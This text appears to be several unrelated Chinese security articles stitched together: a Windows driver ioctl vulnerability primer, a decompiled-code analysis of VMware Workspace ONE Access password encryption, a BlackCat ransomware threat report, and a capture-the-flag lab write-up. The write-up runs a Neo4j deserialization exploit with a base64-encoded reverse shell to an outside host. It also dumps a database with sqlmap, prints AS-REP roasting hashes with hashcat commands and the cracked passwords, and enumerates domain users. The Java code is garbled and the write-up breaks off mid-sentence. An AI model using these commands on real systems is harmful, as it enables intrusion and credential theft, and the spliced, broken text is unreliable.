使用ioctls控制設備雖然ioctls很少讓你完全控制設備/驅動程序，但它實際上是應用程序與驅動程序通信的方式。驅動程序可以創建兩種ioctl調度例程： 設備控制方法的典型用法 唯一重要的方法是TestyDispatchIoctl，因為我們不能用任意參數發起對IoBuildDeviceIoControlRequest或IIoAllocateIrp的調用，這是觸發IRP_MJ_INTERNAL_DEVICE_CONTROL主函數的函數。如果是，那是因為內部調度方法很少經過適當的測試。 與DriverObject的任何調度方法一樣，它從IoManager接收兩個參數。 WDM驅動程序中的每個調度方法共享相同的函數簽名 第一個是我們對其執行CreateFile 操作的設備對象，第二個是指向IRP 的指針。從漏洞研究的角度來看，IRP 封裝了用戶數據和我們並不真正關心的許多其他內容。我們在這里關心的主要是從用戶模式發送哪些參數。如果我們看一下NtDeviceIoControlFile 的簽名，我們可以猜測在尋找驅動程序中的漏洞時我們關心哪些字段： DeviceIoControl API 這種方法的主要問題是輸入/輸出緩衝區、它們的長度和Ioctl代碼本身。我們從Ioctl代碼開始，它是一個充當說明符的32位數字；它描述了緩衝區和長度如何被使用/複製到內核，所需的DesiredAccess(當你打開一個設備句柄時)和一個函數指示器。示例如下： FileTest.exe工具的圖像，顯示了32 Ioctl編號的位域 我們可以看到ioctl代碼是0x1000，翻譯過來就是： DeviceType：FileDevice_0：它與我們無關； Function：0：與我們無關； Method：METHOD_NEITHER：它與我們相關，因為它描述了imanager如何將數據傳輸到內核； Access：FILE_ANY_ACCESS：它與我們相關，因為它定義了你需要對句柄擁有的所需訪問權限。如果你沒有正確的訪問權限，那麼IoManager 將不允許調用發生並返回AccessDenied。有四個不同的值： FILE_ANY_ACCESS：無論DesiredAccess 參數如何，你始終擁有設備句柄； FILE_READ_DATA：你使用GENERIC_READ 請求了一個句柄並獲得了一個有效的句柄； FILE_WRITE_DATA：你使用GENERIC_WRITE 請求了一個句柄並獲得了一個有效的句柄；FILE_READ_DATA | FILE_WRITE_DATA：不言自明；你需要這兩種權利； 在\Device\VfpExt 的句柄上運行此DeviceIoControl 請求將導致BSoD，無論你的權限級別如何，在理解了圖3中的Method字段之後，我們將看到其中的原因。 Method/TransferTypeMethod/TransferType被稱為萬惡之母，這聽起來有些誇大其詞，但不幸的是，事實確實如此。傳輸類型的方法，即ioctl 32位數中的兩個最低有效位，指示IoManager 在內核中引用參數（緩衝區和長度）的方式。與訪問字段一樣，有四個不同的選項： (1)METHOD_NEITHER，兩個位都是打開的：IoManager 是惰性的，不對緩衝區及其長度進行檢查。緩衝區不會復製到驅動程序並駐留在用戶模式下。因此，用戶可以隨意操縱緩衝區的長度並釋放/分配他們的頁面，這將導致許多糟糕的事情：系統崩潰和權限提升，除非正確探測緩衝區。如果你看到一個驅動程序沒有探測緩衝區，而是使用METHOD_NEITHER，那肯定存在漏洞。 (2) METHOD_BUFFERED，沒有一個位是打開的：IoManager將輸入/輸出緩衝區及其長度複製到內核，這使得它更加安全，因為用戶不能隨意換出緩衝區或更改它們的內容和長度。之後，輸入/輸出緩衝區指針被分配給IRP。 (3) METHOD_IN_DIRECT和(4)METHOD_OUT_DIRECT兩個位中的一個是打開的：這兩個非常相似；imanager會像METHOD_BUFFERED那樣分配輸入緩衝區。對於輸出緩衝區，IoManager探測緩衝區並檢查虛擬地址在當前訪問模式下是否可寫或可讀。然後，它鎖定內存頁並將指針傳遞給IRP。 讓我們看看驅動程序如何訪問用戶模式緩衝區並查看一個快速漏洞，它說明了在驅動程序中沒有進行適當的安全檢查的漏洞。 在這裡我們可以看到我們應該如何關聯驅動程序中的每個緩衝區關於描述方法和傳輸類型的Ioctl 代碼 由於驅動程序通常可以支持多個ioctl 代碼，因此對於每個不同的ioctl 代碼，它都有一個大的switch case，影響緩衝區在內存中的存儲位置。在下一節中，我們將看到如果我們不注意會發生什麼。

0x00 前言在上篇文章《VMware Workspace ONE Access漏洞调试环境搭建》 提到連接數據庫的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中，本文將要基於調試環境，分析加密流程，介紹詳細的解密方法。 0x01 簡介本文將要介紹以下內容 加密流程 解密方法 數據庫操作 0x02 加密流程1.定位關鍵文件經過一段時間的尋找，找到實現加密功能對應的文件為/opt/vmware/certproxy/lib/horizon-config-encrypter-0.15.jar 反編譯獲得加密的實現代碼如下： publicfinalStringencrypt(byte[]data){ if(data!=nulldata.length!=0){ if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){ log.error('Nocustomencryptionkeysavailable,abortingencrypt.'); returnnull; }else{ CipherencryptCipher=this.getEncryptCipher(); try{ if(encryptCipher!=null){ byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data)); ByteBufferkeyBuffer=ByteBuffer.allocate(2); keyBuffer.putShort(this.getKeyMgmt().getCurrentKey()); utf8=ArrayUtils.addAll(keyBuffer.array(),utf8); utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()}); byte[]dec=Base64.encodeBase64(utf8); returnnewString(dec,StandardCharsets.US_ASCII); } }catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){ log.error(var6.getMessage(),var6); } returnnull; } }else{ returnnull; } }2.動態調試 為了提高分析效率，採取動態調試的方法，流程如下： (1)新建Java工程 下載VMware Workspace ONE Accessd服務器中/opt/vmware/certproxy/lib/下的所有jar文件並保存，在Java工程導入以上jar文件 新建package：com.vmware.horizon.common.utils.config 新建文件ConfigEncrypterImpl.java，內容如下： packagecom.vmware.horizon.common.utils.config; importcom.google.common.annotations.VisibleForTesting; importcom.vmware.horizon.api.ConfigEncrypter; importcom.vmware.horizon.random.SecureRandomUtils; importcom.vmware.horizon.security.SecurityProviderHelper; importjava.nio.ByteBuffer; importjava.nio.charset.Charset; importjava.nio.charset.StandardCharsets; importjava.security.InvalidAlgorithmParameterException; importjava.security.InvalidKeyException; importjava.security.NoSuchAlgorithmException; importjava.security.SecureRandom; importjavax.annotation.Nonnull; importjavax.annotation.Nullable; importjavax.crypto.BadPaddingException; importjavax.crypto.Cipher; importjavax.crypto.IllegalBlockSizeException; importjavax.crypto.NoSuchPaddingException; importjavax.crypto.SecretKey; importjavax.crypto.spec.IvParameterSpec; importjavax.crypto.spec.SecretKeySpec; importorg.apache.commons.codec.binary.Base64; importorg.apache.commons.lang3.ArrayUtils; importorg.apache.commons.lang3.StringUtils; importorg.bouncycastle.crypto.fips.FipsUnapprovedOperationError; importorg.slf4j.Logger; importorg.slf4j.LoggerFactory; publicclassConfigEncrypterImplimplementsConfigEncrypter{ publicstaticfinalCharsetencodingCharset; privatestaticfinalLoggerlog; privatestaticfinalSecureRandomsrand; privatestaticConfigEncrypterImplstaticKeyInstance; privatestaticfinalConfigEncrypterImplrandomKeyInstance; privatestaticfinalObjectkeyInstanceLock; privateConfigEncrypterKeyMgmtkeyMgmt; privatestaticConfigEncrypterImplcreateRandomKeyInstance(){ SecurityProviderHelper.initializeSecurityProvider(); returnnewConfigEncrypterImpl(false); } publicstaticConfigEncrypterImplgetInstance(){ synchronized(keyInstanceLock){ if(staticKeyInstance==null){ staticKeyInstance=newConfigEncrypterImpl(true); } returnstaticKeyInstance; } } publicstaticConfigEncrypterImplgetRandomKeyInstance(){ returnrandomKeyInstance; } privateConfigEncrypterImpl(booleanuseStaticKey){ if(useStaticKeyBoolean.parseBoolean(ConfigPropertiesUtil.getProperties().getProperty('components.configEncrypter.kms.enable'))){ log.info('Notinitializingstaticconfigkeystore.UsingKMSforsecureconfigproperties'); this.keyMgmt=null; }else{ this.keyMgmt=newConfigEncrypterKeyMgmt(useStaticKey); } } @VisibleForTesting ConfigEncrypterImpl(ConfigEncrypterKeyMgmtkeyMgmt){ this.keyMgmt=keyMgmt; } @Nullable publicfinalStringdecrypt(Stringdata){ if(StringUtils.isBlank(data)){ returnnull; }else{ byte[]encrypted=data.getBytes(encodingCharset); booleanb64; try{ b64=Base64.isBase64(encrypted); }catch(ArrayIndexOutOfBoundsExceptionvar11){ b64=false; } if(b64){ encrypted=Base64.decodeBase64(encrypted); } if(ArrayUtils.isEmpty(encrypted)){ returnnull; }else{ intcipherVersion=Math.abs(encrypted[0]); CipherdecryptCipher=null; if(cipherVersion=this.getKeyMgmt().getMinCipherVersion()cipherVersion0){ returnnewString(utf8,encodingCharset); } log.debug('zerolengthdecryption'); }catch(BadPaddingExceptionvar7){ log.debug('Failedtodecryptthegivenvalue(padding)'); }catch(IllegalBlockSizeExceptionvar8){ log.debug('Failedtodecryptthegivenvalue(blocksize)'); }catch(ArrayIndexOutOfBoundsExceptionvar9){ log.debug('Failedtodecryptthegivenvalue(macverification)'); }catch(IllegalStateExceptionvar10){ log.debug('Failedtodecryptthegivenvalue(illegalstate)'); } } returnnull; } } } @Nullable publicfinalStringencrypt(@NonnullStringdata){ returnStringUtils.isBlank(data)?null:this.encrypt(data.getBytes(encodingCharset)); } @Nullable publicfinalStringencrypt(byte[]data){ if(data!=nulldata.length!=0){ if(!this.getKeyMgmt().randomKeyEnabled()!this.getKeyMgmt().customKeysAvailable()){ log.error('Nocustomencryptionkeysavailable,abortingencrypt.'); returnnull; }else{ CipherencryptCipher=this.getEncryptCipher(); try{ if(encryptCipher!=null){ byte[]utf8=ArrayUtils.addAll(encryptCipher.getIV(),encryptCipher.doFinal(data)); ByteBufferkeyBuffer=ByteBuffer.allocate(2); keyBuffer.putShort(this.getKeyMgmt().getCurrentKey()); utf8=ArrayUtils.addAll(keyBuffer.array(),utf8); utf8=ArrayUtils.insert(0,utf8,newbyte[]{(byte)this.getKeyMgmt().getCurrentCipherVersion()}); byte[]dec=Base64.encodeBase64(utf8); returnnewString(dec,StandardCharsets.US_ASCII); } }catch(IllegalBlockSizeException|IllegalStateException|BadPaddingExceptionvar6){ log.error(var6.getMessage(),var6); } returnnull; } }else{ returnnull; } } @Nullable privateCiphergetDecryptCipher(intcipherVersion,byte[]decryptionKey,byte[]iv){ CipherdecryptCipher=null; if(!ArrayUtils.isEmpty(iv)){ try{ decryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(cipherVersion),SecurityProviderHelper.getJceProvider()); IvParameterSpecivSpec=newIvParameterSpec(ArrayUtils.subarray(iv,0,this.getKeyMgmt().getCipherNonceSize(cipherVersion,decryptCipher.getBlockSize()))); SecretKeysecret=newSecretKeySpec(decryptionKey,this.getKeyMgmt().getCipher(cipherVersion)); decryptCipher.init(2,secret,ivSpec,srand); }catch(InvalidAlgorithmParameterException|InvalidKeyException|NoSuchAlgorithmException|NoSuchPaddingException|IllegalArgumentException|FipsUnapprovedOperationErrorvar7){ log.error(var7.getMessage(),var7); decryptCipher=null; } } returndecryptCipher; } @Nullable privateCiphergetEncryptCipher(){ CipherencryptCipher=null; try{ encryptCipher=Cipher.getInstance(this.getKeyMgmt().getCipher(),SecurityProviderHelper.getJceProvider()); byte[]iv=newbyte[this.getKeyMgmt().getCipherNonceSize(encryptCipher.getBlockSize())]; srand.nextBytes(iv); SecretKeysecret=newSecretKeySpec(this.getKeyMgmt().getKey(),this.getKeyMgmt().getCipher()); IvParameterSpecivSpec=newIvParameterSpec(iv); encryptCipher.init(1,secret,ivSpec,srand); }catch(InvalidAlgorithmParameterException|IllegalArgumentException|NoSuchPaddingException|NoSuchAlgorithmException|InvalidKeyException|FipsUnapprovedOperationErrorvar5){ log.error(var5.getMessage(),var5); } returnencryptCipher; } @VisibleForTesting ConfigEncrypterKeyMgmtgetKeyMgmt(){ returnthis.keyMgmt; } @VisibleForTesting publicvoidsetCustomEncryptionKeyst

BlackCat 勒索軟件，也稱為ALPHV，是一種普遍的威脅，也是日益增長的勒索軟件即服務(RaaS) 經濟的典型代表。值得注意的是，它的非傳統編程語言(Rust)、多個目標設備和可能的入口點，以及與大量威脅活動組的關聯。雖然BlackCat 的到達和執行因部署它的攻擊者而異，但結果是相同的。即目標數據被加密，並洩露未繳納贖金用戶的隱私，及“雙重勒索”。 BlackCat 於2021 年11 月首次被發現，最初成為頭條新聞，因為它是最早用Rust 編程語言編寫的勒索軟件家族。通過使用現代語言作為其有效負載，該勒索軟件試圖逃避檢測，尤其是傳統的安全解決方案。 BlackCat 還可以針對多個設備和操作系統發起攻擊。 Microsoft 已觀察到針對Windows 和Linux 設備以及VMWare 實例的成功攻擊。 如上所述，RaaS附屬模型由多個攻擊者組成：訪問代理，他們攻擊網絡並維護持久性，開發工具的RaaS操作員，以及RaaS附屬機構，這些機構在最終發布勒索病毒之前，會進行其他活動，比如在網絡上橫向移動和竊取數據。因此，作為一個RaaS有效負載，BlackCat進入目標組織網絡的方式是不同的，這取決於部署它的RaaS附屬機構。例如，雖然這些攻擊者的常見入口向量包括遠程桌面應用程序和被攻擊的憑據，但我們也看到了一個攻擊者利用Exchange服務器漏洞來獲得目標網絡訪問。此外，至少有兩個已知的附屬公司正在採用BlackCat：DEV-0237（以前部署Ryuk、Conti 和Hive）和DEV-0504（以前部署Ryuk、REvil、BlackMatter 和Conti）。 這種變化和採用顯著增加了組織遇到BlackCat 的風險，並在檢測和防禦它方面帶來挑戰，因為這些攻擊者和組織有不同的策略、技術和程序(TTP)。因此，沒有兩個BlackCat 的部署看起來相同。 人為操作的勒索軟件攻擊（例如部署BlackCat 的那些攻擊）繼續發展，並且仍然是攻擊者通過攻擊獲利的首選方法之一。組織應考慮使用Microsoft 365 Defender 等綜合解決方案補充其安全最佳實踐和策略，該解決方案提供與各種威脅信號相關聯的保護功能，以檢測和阻止此類攻擊及其後續活動。 BlackCat 有效負載部署選項 BlackCat有效負載可以運行的命令列表 用戶帳戶控制(UAC) 繞過BlackCat 可以繞過UAC，這意味著即使負載從非管理員上下文中運行，它也會成功運行。如果勒索軟件沒有以管理權限運行，它會在dllhost.exe 下運行一個輔助進程，該進程具有加密系統上最大數量的文件所需的足夠權限。 域和設備枚舉勒索軟件可以確定給定係統的計算機名稱、設備上的本地驅動器以及設備上的AD 域名和用戶名。該惡意軟件還可以識別用戶是否具有域管理員權限，從而提高其勒索更多設備的能力。 自我傳播BlackCat 發現所有連接到網絡的服務器。該過程首先廣播NetBIOS 名稱服務(NBNC) 消息來檢查這些附加設備。然後，勒索軟件嘗試使用配置中指定的憑據通過PsExec 在應答服務器上複製自身。 阻礙恢復的辦法BlackCat 有許多阻礙恢復的辦法。以下是有效負載可能啟動的命令及其用途： 修改引導加載程序 刪除卷影副本 清除Windows 事件日誌 識別可能導致BlackCat 勒索軟件的攻擊與RaaS 模型一致，攻擊者利用BlackCat 作為其正在進行的活動的額外負載。雖然它們的TTP 基本保持不變（例如，使用Mimikatz 和PsExec 等工具部署勒索軟件有效負載），但與BlackCat 相關的攻擊具有不同的入口向量，具體取決於進行攻擊的勒索軟件附屬機構。因此，這些攻擊的勒索步驟也可能明顯不同。 例如，部署BlackCat 的一家附屬機構利用未打補丁的Exchange 服務器或使用被盜憑據訪問目標網絡。 案例研究1：通過未打補丁的Exchange進入在此案例中，攻擊者利用未打補丁的Exchange服務器進入目標組織。 通過Exchange漏洞利用觀察到BlackCat勒索軟件攻擊鏈 在利用Exchange漏洞時，攻擊者啟動了以下發現命令，以收集有關他們攻擊的設備信息： Cmd.exe，ver，systeminfo ——用於收集操作系統信息； net.exe——確定環境中的域計算機、域控制器和域管理員； 執行這些命令後，攻擊者瀏覽目錄並發現了一個密碼文件夾，該文件夾授予他們訪問帳戶憑據的權限，他們可以在攻擊的後續階段使用。他們還使用del 命令刪除與他們最初的洩露活動相關的文件。 然後，攻擊者利用網絡使用和竊取的憑證來安裝一個網絡共享，並開始使用多種方法的組合來尋找潛在的橫向移動目標。首先，他們使用之前收集的設備名稱作為節點的WMIC.exe，啟動命令whoami /all，並ping google.com以檢查網絡連接。然後，結果的輸出被寫入掛載的共享上的.log文件。其次，攻擊者使用PowerShell.exe和cmdlet Get-ADComputer以及一個過濾器來收集最後一次登錄事件。 擴大攻擊面兩天半後，攻擊者通過交互式登錄使用洩露的憑據登錄了他們在初始發現工作中發現的目標設備。他們選擇了一種憑據盜竊技術，該技術不需要刪除防病毒產品可能檢測到的Mimikatz 之類的文件。相反，他們打開了Taskmgr.exe，創建了LSASS.exe 進程的轉儲文件，並將文件保存到ZIP 壓縮文件中。 攻擊者使用ADRecon (ADRecon.ps1) 的PowerShell 腳本版本繼續他們之前的發現工作，該工具旨在收集有關Active Directory (AD) 環境的大量信息。攻擊者使用網絡掃描工具跟進此操作，該工具在服務器消息塊(SMB) 和遠程桌面協議(RDP) 上打開與組織中設備的連接。對於發現的設備，攻擊者試圖導航到各種網絡共享，並使用遠程桌面客戶端(mstsc.exe) 登錄這些設備，再次使用洩露的帳戶憑據。 這些行為持續了好幾天，攻擊者登錄整個組織的眾多設備，轉儲憑據，並確定他們可以訪問哪些設備。 竊取並公開信息在攻擊者登錄的許多設備上，他們試圖從該組織收集和竊取大量數據，包括域設置、信息和知識產權。為此，攻擊者使用了MEGAsync和Rclone，它們被重命名為合法的Windows進程名稱(例如，winlogon.exe, mstsc.exe)。 提取區域信息以識別橫向運動目標收集域信息允許攻擊者進一步進行攻擊，因為所述信息可以識別橫向移動的潛在目標，或幫助攻擊者發現勒索病毒有效負載的目標。為此，攻擊者再次使用帶有大量PowerShell cmdlet 的ADRecon.ps1，例如： Get-ADRGPO——獲取域中的組策略對象(GPO)； Get-ADRDNSZone——獲取域中的所有DNS 區域和記錄； Get-ADRGPLink——獲取應用於域中管理範圍的所有組策略鏈接； 此外，攻擊者釋放並使用ADFind.exe命令來收集個人、計算機、組織單位和信任信息，並ping通數十個設備來檢查連接。 雙重勒索為了雙重勒索，攻擊者以SQL數據庫為目標，收集數據。他們還瀏覽了他們可以訪問的每個設備的目錄和項目文件夾，然後竊取了他們在這些設備中找到的數據。 贖金要求攻擊者從最初的攻擊到部署勒索軟件足足花了兩週時間，因此，有必要對警報活動進行分類和檢查，以了解攻擊者從他們的活動中獲得的賬戶和訪問範圍。使用PsExec.exe傳播勒索軟件負載被證明是最常見的攻擊方法。 成功感染後，BlackCat顯示的贖金提示 案例研究2：通過盜竊的憑證發起攻擊在這個案例中，研究人員發現了一個勒索軟件附屬公司通過一個面向互聯網的遠程桌面服務器使用被攻擊的憑據登錄獲得了對環境的初始訪問權。 通過被盜憑證觀察到BlackCat勒索軟件攻擊鏈 擴大攻擊面一旦攻擊者獲得對目標環境的訪問權，他們就使用SMB複製並啟動Total Deployment Software管理工具，從而允許遠程自動化軟件部署。安裝此工具後，攻擊者使用它安裝遠程桌面軟件應用程序ScreenConnect（現稱為ConnectWise）。 竊取憑據ScreenConnect用於在設備上建立遠程會話，允許攻擊者進行交互控制。在他們的控制下，攻擊者使用cmd.exe來更新註冊表，以允許通過WDigest進行明文認證，從而節省了攻擊者不需要破解密碼哈希值的時間。不久之後，他們使用任務管理器轉儲lasss .exe進程來竊取密碼，現在是明文形式。 八小時後，攻擊者重新連接到設備並再次竊取憑據。然而，這一次，他們放棄並啟動了Mimikatz 用於憑證盜竊例程，可能是因為它可以獲取存儲在LSASS.exe 之外的憑證。攻擊者隨後退出。 持久性和加密之後，攻擊者使用他們新創建的用戶帳戶登錄，並開始釋放和啟動勒索軟件有效載荷。此帳戶還將作為ScreenConnect 及其在環境中的其他立足點之外的額外持久性手段，以允許他們在需要時重新建立自己的存在。如果訪問權限未完全修復，勒索軟件攻擊者不會兩次勒索同一組織。 Chrome.exe 用於導航到託管BlackCat 有效負載的域。值得注意的是，文件夾結構包括組織名稱，表明這是專門為組織預先準備的有效負載。最後，攻擊者在設備上啟動了BlackCat 有效載荷來加密其數據。 勒索軟件附屬機構部署BlackCat除了前面討論的事件外，我們還觀察到與勒索軟件部署相關的兩個最多產的附屬組織已轉向部署BlackCat。負載切換是一些RaaS附屬公司的典型做法，以確保業務連續性或有更好的利潤可能性。不幸的是，對於組織而言，這種採用進一步增加了檢測相關威脅的挑戰。 Microsoft 將這些附屬組織命名為DEV-0237。 DEV-0237 也稱為FIN12，該組織以傳播Hive、Conti 和Ryuk 勒索軟件而聞名。研究人員觀察到，該組織從2022年3月開始將BlackCat加入了他們的分佈式有效負載清單。他們從上次使用的有效負載(Hive) 切換到BlackCat 被懷疑是由於圍繞後者解密方法的公開討論。 DEV-0504是另一個活躍的附屬組織，我們看到他們轉向BlackCat進行勒索軟件攻擊。像許多RaaS附屬組一樣，在DEV-0504攻擊中可能會觀察到以下TTP： 可能涉及附屬機構遠程登錄到憑據被攻擊的設備的入口向量，例如登錄到運行允許遠程工作的軟件解決方案的設備； 攻擊者利用他們的訪問權限對域進行發現； 可能使用初始被盜帳戶的橫向移動； 使用Mimikatz 和Rubeus 等工具竊取憑據； DEV-0504 通常會使用StealBit 等惡意工具從組織中竊取他們入侵的設備上的數據——通常稱為“send.exe”或“sender.exe”。然後使用PsExec 傳播勒索軟件有效負載。觀察到該組織在2021 年12 月開始採用BlackCat 之前交付了以下贖金： BlackMatter； Conti； LockBit 2.0； Revil； Ryuk； BlackCat勒索軟件的緩解措施BlackCat勒索軟件攻擊已經變得越來越流行，因為它們通過RaaS附屬模型不斷增長的工業化和雙重勒索的增加趨勢。我們所觀察到的與“BlackCat”勒索軟件相關的事件利用了這兩個因素，使得這種威脅對傳統的安全和防禦方法來說是持久的，這些方法只專注於檢測勒索軟件的有效負載。因此，組織必須改變他們的防禦策略，以防止端到端攻擊鏈。如上所述，雖然攻擊者的入口點可能不同，但他們的TTP 基本保持不變。此外，這些類型的攻擊繼續利用組織糟糕的錯誤配置來發起攻擊。 截至目前，在觀察到的與BlackCat相關的事件中，勒索軟件附屬機構的常見入口是通過被洩露的憑證來訪問面向互聯網的遠程訪問軟件和未打補丁的Exchange服務器。因此，維護人員應該檢查其組織的身份，仔細監視外部訪問，並在其環境中找到易受攻擊的Exchange服務器，以便盡快進行更新。

说明Time是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。 技术Neo4j、Kerberos、Privilege Elevation、域渗透 第一个flag外网IP信息收集start infoscan (icmp) Target '39.98.236.25' is alive icmp alive hosts len is: 1 39.98.236.25:22 open 39.98.236.25:1337 open 39.98.236.25:7474 open 39.98.236.25:7473 open 39.98.236.25:7687 open 39.98.236.25:35555 open alive ports len is: 6 start vulscan 已完成 0/6 [-] webtitle http://39.98.236.25:7473 Get "http://39.98.236.25:7473": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x15\x03\x03\x00\x02\x02P" [*] WebTitle:http://39.98.236.25:7474 code:200 len:145 title:None [*] WebTitle:http://39.98.236.25:7687 code:400 len:0 title:None [*] WebTitle:https://39.98.236.25:7687 code:400 len:0 title:None 已完成 6/6 scan endneo4j 未授权RCENeo4j是一个开源图数据库管理系统。 在Neo4j 3.4.18及以前，如果开启了Neo4j Shell接口，攻击者将可以通过RMI协议以未授权的身份调用任意方法，其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化，所以不受到Java版本的影响。在Neo4j 3.5及之后的版本，Neo4j Shell被Cyber Shell替代。 https://github.com/zwjjustdoit/CVE-2021-34371.jar java -jar rhino_gadget.jar rmi://39.98.236.25:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3R...NC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"反弹shell 查找flag 获得第一个flag 第二个flag内网渗透上传代理和fscan start infoscan 已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172.22.6.12 is alive (icmp) Target 172.22.6.25 is alive (icmp) Target 172.22.6.38 is alive (icmp) Target 172.22.6.36 is alive [*] Icmp alive hosts len is: 4 172.22.6.25:445 open 172.22.6.12:445 open 172.22.6.25:139 open 172.22.6.12:139 open 172.22.6.25:135 open 172.22.6.12:135 open 172.22.6.38:80 open 172.22.6.36:22 open 172.22.6.38:22 open 172.22.6.36:7687 open 172.22.6.12:88 open [*] alive ports len is: 11 start vulscan [+] NetInfo: [*]172.22.6.25 [->]WIN2019 [->]172.22.6.25 [+] NetInfo: [*]172.22.6.12 [->]DC-PROGAME [->]172.22.6.12 [*] 172.22.6.12 [+]DC XIAORANG\DC-PROGAME Windows Server 2016 Datacenter 14393 [*] 172.22.6.25 XIAORANG\WIN2019 [*] 172.22.6.12 (Windows Server 2016 Datacenter 14393) [*] WebTitle:http://172.22.6.38 code:200 len:1531 title:后台登录 [*] WebTitle:https://172.22.6.36:7687 code:400 len:50 title:None 已完成 11/11sql注入访问 http://172.22.6.38，是一个登录页面，抓取数据包 POST /index.php HTTP/1.1 Host: 172.22.6.38 Content-Length: 30 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.22.6.38 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.22.6.38/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Connection: close username=admin&password=111111使用sqlmap测试注入（过程略） sqlmap -r 1.txt --dump -T oa_f1Agggg -D oa_db -batch 获得第二个flag 里面还有oa_admin表和oa_users表，把users表中的500个用户名收集成字典 username.txt ‍‍第三个flag域用户枚举在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN，所以当我们没有域凭证时，可以通过Kerberos pre-auth从域外对域用户进行用户枚举 https://github.com/ropnop/kerbrute proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10kali中用代理一直执行不成功，不出现结果，把文件传到入口机器上，远程执行才出结果 共有74个用户，做成字典 user.txt AS-REPRoasting对于域用户，如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证)，此时向域控制器的88端口发送AS-REQ请求，对收到的AS-REP内容重新组合，能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat或是john对其破解，最终获得该用户的明文口令 查找未设置预认证的账号 proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/ 得到两个账号 wenshao@xiaorang.lab 、zhangxin@xiaorang.lab $krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994 $krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7使用hashcat解密 hashcat -m 18200 --force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txthashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt这样获得了两个账号和密码 zhangxin@xiaorang.lab/strawberry wenshao@xiaorang.lab/hellokitty‍ 域环境分析使用域账号登录 172.22.6.25，上传SharpHound进行数据采集 SharpHound.exe -c all导出文件里面有多个json，保存着域内的各种关系 上传数据到BloodHound，点击Analysis，查找最短到达域管理员的路径 Find Shortest Paths to Domain 